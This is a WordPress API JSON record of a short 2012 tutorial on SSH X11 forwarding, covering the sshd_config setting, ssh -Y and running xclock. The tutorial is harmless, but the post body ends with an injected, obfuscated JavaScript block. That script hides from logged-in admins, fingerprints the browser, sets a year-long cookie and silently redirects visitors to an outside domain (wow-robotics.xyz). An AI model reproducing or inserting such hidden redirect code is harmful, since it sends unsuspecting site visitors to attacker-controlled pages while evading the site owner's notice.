{"id":303,"date":"2012-03-08T12:25:42","date_gmt":"2012-03-08T04:25:42","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=303"},"modified":"2012-03-08T12:26:25","modified_gmt":"2012-03-08T04:26:25","slug":"ssh-x-forwarding","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/03\/08\/ssh-x-forwarding\/","title":{"rendered":"SSH &#038; X Forwarding"},"content":{"rendered":"<p>In modern system, many administration task will rely on the GUI.  As you may using remote desktop in M$ Windows environment.  Or you may using VNC in X.  Or you may using ssh to forward your X display from server to client, your local machine.<br \/>\n<!--more--><\/p>\n<ol>\n<li>Ensure X11Forwarding is enable in the ssh server side. e.g., <strong>\/etc\/ssh\/sshd_config<\/strong>\n<pre>\r\nX11Forwarding yes\r\n<\/pre>\n<\/li>\n<li>On your local machine run:\n<pre>\r\nssh -Y user@outerspace.example.com\r\n<\/pre>\n<\/li>\n<li>After ssh to outer space machine @example.com, you could run any X application and the display will be render on your localscreen, e.g.,\n<pre>\r\nxclock &\r\n<\/pre>\n<\/li>\n<\/ol>\n<p>You could <strong>ssh -Y<\/strong> to host A first and futher <strong>ssh -Y<\/strong> to host B.  Running X application on host B and the display will render on your local machine, too.<br \/>\n <script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In modern system, many administration task will rely on the GUI. As you may using remote desktop in M$ Windows environment. Or you may using VNC in X. Or you may using ssh to forward your X display from server to client, your local machine.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[3],"tags":[17,48,49],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/303"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=303"}],"version-history":[{"count":4,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/303\/revisions"}],"predecessor-version":[{"id":305,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/303\/revisions\/305"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=303"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=303"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=303"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}